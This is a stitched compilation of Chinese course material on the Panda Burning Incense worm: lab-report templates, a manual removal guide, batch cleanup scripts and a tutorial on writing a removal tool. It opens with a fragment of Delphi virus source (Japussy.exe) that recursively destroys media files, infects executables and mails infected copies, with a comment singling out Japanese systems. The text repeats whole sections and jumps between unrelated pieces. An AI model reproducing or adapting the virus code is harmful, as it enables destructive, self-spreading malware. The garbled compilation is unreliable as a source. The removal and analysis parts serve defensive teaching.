''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then SmashFile(Fn); //摧毁⽂件end;end;end;//感染或删除⼀个⽂件后睡眠200毫秒,避免CPU占⽤率过⾼引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) thenbeginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '''''''''''''''''''''''''''''''', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的⽂件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //⽇⽂操作系统IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + '''''''''''''''':'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体⾃⼰if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then InfectFiles //感染和发邮件else //已寄⽣于宿主程序上了,开始⼯作beginTmpFile := ParamStr(0); //创建临时⽂件Delete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主⽂件,多⼀个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运⾏之InfectFiles; //感染和发邮件end;end.“熊猫烧⾹”,这是⼀个感染型的蠕⾍病毒,它能感染系统中exe,com,pif,src,html,asp等⽂件,它还能中⽌⼤量的反病毒软件进程并且会删除扩展名为gho的⽂件,该⽂件是⼀系统备份⼯具GHOST的备份⽂件,使⽤户的系统备份⽂件丢失。
信息安全熊猫烧香病毒剖析
《网络攻击与防御》实验报告计算机科学与技术学院计算机系网络教研室制实验报告撰写要求实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性、规范性、正确性、有效性。
现将实验报告撰写的有关内容说明如下:1、实验报告模板为电子版。
2、下载统一的实验报告模板,学生自行完成撰写和打印。
报告的首页包含本次实验的一般信息:组号:例如:2-5 表示第二班第5组。
实验日期:例如:05-10-06 表示本次实验日期。
(年-月-日)……实验编号:例如:表示第一个实验。
实验时间:例如:2学时表示本次实验所用的时间。
实验报告正文部分,从六个方面(目的、内容、步骤等)反映本次实验的要点、要求以及完成过程等情况。
模板已为实验报告正文设定统一格式,学生只需在相应项内填充即可。
续页不再需要包含首页中的实验一般信息。
3、实验报告正文部分具体要求如下:一、实验目的本次实验所涉及并要求掌握的知识点。
二、实验环境实验所使用的设备名称及规格,网络管理工具简介、版本等。
三、实验内容与实验要求实验内容、原理分析及具体实验要求。
四、实验过程与分析根据具体实验,记录、整理相应命令、运行结果等,包括截图和文字说明。
详细记录在实验过程中发生的故障和问题,并进行故障分析,说明故障排除的过程及方法。
五、实验结果总结对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。
1)掌握熊猫烧香病毒的工作原理和感染方法;2)掌握手工清除熊猫病毒的基本方法。
目标主机为windows-2003所用到的工具o Wsyschecko Filemon三、实验内容与实验要求蠕虫原理1)蠕虫定义2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
信息安全 熊猫烧香病毒剖析
《网络攻击与防御》实验报告计算机科学与技术学院计算机系网络教研室制实验报告撰写要求实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性、规范性、正确性、有效性。
现将实验报告撰写的有关内容说明如下:1、实验报告模板为电子版。
2、下载统一的实验报告模板,学生自行完成撰写和打印。
报告的首页包含本次实验的一般信息:组号:例如:2-5 表示第二班第5组。
实验日期:例如:05-10-06 表示本次实验日期。
(年-月-日)……实验编号:例如:表示第一个实验。
实验时间:例如:2学时表示本次实验所用的时间。
实验报告正文部分,从六个方面(目的、内容、步骤等)反映本次实验的要点、要求以及完成过程等情况。
模板已为实验报告正文设定统一格式,学生只需在相应项内填充即可。
续页不再需要包含首页中的实验一般信息。
3、实验报告正文部分具体要求如下:1)掌握熊猫烧香病毒的工作原理和感染方法;2)掌握手工清除熊猫病毒的基本方法。
目标主机为windows-2003所用到的工具o Wsyschecko Filemon三、实验内容与实验要求蠕虫原理1)蠕虫定义2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。
请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:主机蠕虫与网络蠕虫。
主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷贝运行),这种蠕虫有时也叫"野兔"。
实验3-熊猫烧香
实验3 熊猫烧香病毒分析与手工清除一、实验目的(1)了解熊猫烧香病毒对系统注册表、文件系统的破坏;(2)熟悉和掌握计算机病毒的感染分析法,及手工清除PE病毒的基本方法。
二、实验内容与要求(1)利用注册表监视软件监视、记录熊猫烧香病毒对注册表的修改行为。
(2)熊猫烧香病毒启动后,启动注册表编辑器RegEdit.exe和任务管理器taskmgr.exe,观察病毒对这两个系统工具软件的处理。
(3)在C盘根目录下新建123.txt文件,打开该文件,在其中随意输入n 的字符后保存并关闭文件。
将该文件重命名为123.gho。
启动熊猫烧香病毒,观察文件123.gho的变化,观察、记录硬盘中exe文件的图标的变化。
(4)参照课本相关章节中PE病毒分析与清除的相关内容,分析某一PE文件被熊猫烧香病毒感染前后的变化,并借助PE文件工具软件手工清除该PE文件中的熊猫烧香。
三、实验环境与工具操作系统:基于虚拟机的Windows XP/Windows Vista/Windows 7工具软件:LordPE,PEditor,Winhex或其它PE工具软件四、实验步骤(1)熊猫烧香病毒对注册表的修改行为:在Run子键中设置了自动加载选项:HKEY_CURRENT_USER\Software \Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe(2)熊猫烧香病毒启动后,病毒对注册表编辑器RegEdit.exe和任务管理器taskmgr.exe的处理:RegEdit.exe和taskmgr.exe的图形界面出现后立马直接关闭。
接着出现病毒运行的图标。
如下图:再打开注册表编辑器,发现了注册表的折叠杯打开了,结果就是之前检测到熊猫烧香修改的HKEY_LOCAL_MACHINE\Software \Microsoft\Windows NT\Current Version\Image File Execution Options\(3)在C盘根目录下新建123.txt文件,打开该文件,在其中随意输入n的字符后保存并关闭文件。
电脑怎么清理熊猫烧香病毒
电脑怎么清理熊猫烧香病毒熊猫烧香病毒其实是一种蠕虫病毒的变种,而且是经过多次变种而来的。
那么电脑怎么清理熊猫烧香病毒呢?就让店铺来告诉大家电脑清理熊猫烧香病毒的方法吧,希望可以帮助到大家。
电脑清理熊猫烧香病毒方法清除该病毒并不是特别复杂,一些变种依靠手工的方法就可以清除。
一、手工清除第一步:点击"开始→运行",输入"ntsd -c q -pn spoclsv.exe"并确定,结束病毒的进程。
第二步:在注册表中寻找"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentV ersionExplorerAdvancedFolderHiddenSHOWALL",将CheckedValue的值改成1。
打开"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersi onRun",将svcshare的项目删除。
第三步:删除硬盘各个分区根目录下的"setup.exe"和"autorun.inf"文件;删除掉C:WindowsSystem32Drivers下的spoclsv.exe文件。
第四步:搜索硬盘上的网页格式文件,找到其中类似""的文字,将其删除。
注意,被嵌入的代码可能是其他的网址。
该病毒的一些变种会感染EXE可执行文件,因此建议使用杀毒软件或专杀工具清除该病毒。
二、如何防范"熊猫烧香"病毒第一,安装杀毒软件升级到最新版本,并打开实时监控程序。
第二,该病毒会利用IE、QQ等的漏洞进行传播。
瑞星卡卡3.2中的IE防漏墙功能可有效阻止该病毒利用这些漏洞进行传播。
第三,计算机应设置复杂的密码,以防止病毒通过局域网传播。
第四,QQ、UC的漏洞已经被该病毒利用,请用户及时安全它们的最新补丁程序。
5-3-1病毒查杀程序分析
sxs.exe病毒查杀程序分析
3.如何来编写批处理文件
其实编写批处理文件并没有什么编程环境的要求,任何一 个文本编辑器都可以用来编写批处理文件,像DOS下的Edit、 WPS以及DOS自带的Copy命令的扩展copy con命令就可以编写, Windows下的记事本、写字板等。
计算机病毒与防治课程小组
计算机病毒与防治课程小组
1099病毒查杀程序
/*主函数*/ main(int argc,char *argv[])
{ /*如果参数不对,则显示错误提示信息后退出,否则在指定目录中查找病毒*/
if(argc!=2) printf(“用法:%s路径”,argv[0]); else cur_dir(argv[1]); } int cur_dir(char *pathname){ struct ffblk f; int nomatch;
del /s /q /f sxs.exe
attrib autorun.inf -a -h -s del /s /q /f autorun.inf
sxs.exe病毒查杀程序分析
e: attrib sxs.exe -a -h -s del /s /q /f sxs.exe attrib autorun.inf -a -h -s del /s /q /f autorun.inf
virus重庆电子工程职业学院计算机病毒与防治课程小组教学单元53简单的杀毒程序实例熊猫烧香病毒杀毒程序批处理文件介绍冲击波病毒杀毒源代码分析第一讲病毒查杀程序分析计算机病毒与防治课程小组sxsexe病毒查杀程序分析1099病毒查杀程序分析sxsexe病毒查杀程序分析sxsexe病毒查杀程序是一个批处理程序双击执行即可清除sxsexe病请大家根据搜集的资料一起来讨论什么是批处理程序
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
熊猫烧香病毒之专杀工具的编写教程
通过对熊猫烧香的行为分析,这里仅针对所得结果,来进行专杀工具的编写。
本节课我们会学习使用C++来写一个简单的“熊猫烧香”专杀系统。
实验目的:
结合本篇文章的知识点,能够彻底掌握文章所讲述的编写杀毒软件的方法。
实验思路:
1.理解专杀工具所需要实现的功能
2.利用VC++编写专杀工具
3.结合Process Monitor验证专杀工具
实验步骤:
1、病毒行为回顾与归纳
这里我们首先回顾一下病毒的行为:
**病毒行为1:**病毒本身创建了名为`spoclsv.exe`的进程,该进程文件的路径为:
C:WINDOWSsystem32driversspoclsv.exe
**病毒行为2:**在命令行模式下使用`net share`命令来取消系统中的共享。
**病毒行为3:**删除安全类软件在注册表中的启动项。
**病毒行为4:**
在注册表:HKCUSoftwareMicrosoftWindowsCurrentVersionRun中创建svcshare
用于在开机时启动位于`C:WINDOWSsystem32driversspoclsv.exe`的病毒程序。
**病毒行为5:**修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为:HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL 病毒将`CheckedValue`的键值设置为了0。
**病毒行为6:**将自身拷贝到根目录,并命名为`setup.exe`,同时创建`autorun.inf`用于病毒的启动,这两个文件的属性都是“隐藏”。
**病毒行为7:**在一些目录中创建名为`Desktop_.ini`的隐藏文件。
**病毒行为8:**向外发包,连接局域网中其他机器。
纵观以上八点行为,这里需要说明的是,其中的第二点行为,由于我不知道用户计算机在中毒前的设置,因此这条我打算忽略。
第三点行为,我不知道用户的计算机安装了哪些杀毒软件,而病毒又会将所有杀软的注册表启动项删除,所以这一条我打算忽略,用户在使用本专杀工具后,可以自行重新安装杀软,或者有经验的用户也可以自行在注册表中添加回杀软名称。
另外,病毒的第八点行为,我也打算忽略,因为只要删除了病毒本体,那么自然就解决了这个问题,所以我的专杀工具主要应付剩下的五个问题。
在这里各位读者想必也能够发现,我的专杀工具所要做的工作,与我之前写的手动查杀的过程其实是极为相似的,这也是为什么我当时就强调,我们依旧要掌握手动查杀病毒这个技能的原因。
2、专杀工具界面的制作
如果使用批处理来杀毒,因为它运行时没有界面,因此我们往往不知道杀毒程序究竟干了些什么,也不知道究竟有没有查杀成功,这也凸显了使用高级语言开发专杀工具的优势。
这里我使用MFC进行“熊猫烧香”病毒专杀工具的开发,绘制界面如下图所示:
其中的“Edit Box”控件的属性调整如下:
界面非常简单,接下来就是代码的编写。
3、计算病毒程序的散列值
在查杀病毒的技术中有一种方法类似于特征码查杀法,这种方法并不从病毒内提取特征码,而是计算病毒的散列值。
利用这个散列值,就可以在查杀的过程中计算每个文件的散列,然后进行比较。
这种方法简单易于实现,一般在病毒刚被发现时,在逆向分析前使用。
常见的计算散列的算法有MD5、Sha-1以及CRC32等。
这里使用CRC32算法计算散列值,代码如下:
该函数的参数有两个,一个是指向缓冲区的指针,第二个是缓冲区的长度。
它将文件全部读入缓冲区中,然后用CRC32函数计算文件的CRC32散列值,可以得到我所研究的“熊猫烧香”病毒的散列值为0x89240FCD。
这里请大家注意,不同版本的病毒的散列值是不同的,我所得出的这个值仅针对我所讨论的这个版本的病毒。
4、查找进程与提升权限
我们需要在内存中查找病毒是否存在,代码如下:
这里还需要提升系统的权限,提升成功后,当前进程就可以访问一些受限的系统资源。
代码如下:
5、查找并删除Desktop_.ini文件
病毒会在所有盘符下面的非系统目录中创建名为Desktop_.ini的文件,虽说这个文件看似并不会对系统产生什么危害,但是为了实现对“熊猫烧香”的彻底查杀,还是应当将其删除的。
这里主要涉及两方面的知识,一个是遍历整个磁盘的文件,这需要使用FindFirstFile()与FindNextFile()这两个API函数,并采用递归调用的方法;另一个是修改文件属性,因为病毒创建出来的文件会带有系统、只读和隐藏这三个属性,若不对其进行
更改,是无法删除病毒文件的。
依照这个思想,编写代码如下:
需要说明的是,这里需要在本程序前定义一个CString类型的csTxt全局变量,用于将查杀的结果信息输出到程序界面,之后的程序中也会用到这个变量。
6、主程序的编写
主程序也就是“一键查杀”按钮的响应,我在代码中已添加相应的注释:
至此,所有代码编写完毕,将其编译,并没有错误,直接生成可执行文件。
7、专杀工具测试
为了测试本专杀工具,我将它和“熊猫烧香”都拷贝到虚拟机中。
首先运行病毒程序,之后再运行本专杀工具,如下图所示:
:
可见,本程序已经将病毒彻底杀除,结合Process Monitor对本程序的监控,可以知道我们的专杀工具是切实可行的,这里不再赘述。
8、小结
因为我们这次所面对的是一个实际的病毒,因此代码显得较长,这和我之前所举的例子中,仅仅几行代码就能够删除一个“虚拟”病毒是截然不同的。
在以后面对不同病毒木马的专杀工具的编写中,我还会以这个专杀工具的代码为框架进行制作。
而在以后的文章中,我只会对新增的知识点进行叙述,而与这篇文章重合的知识点,我就会一笔带过。
也希望各位读者能够彻底掌握本篇文章所讲述的方法。
完毕
声明:本文内容来源为“i春秋学院”,未经许可,任何机构不得转载或引用本文内容。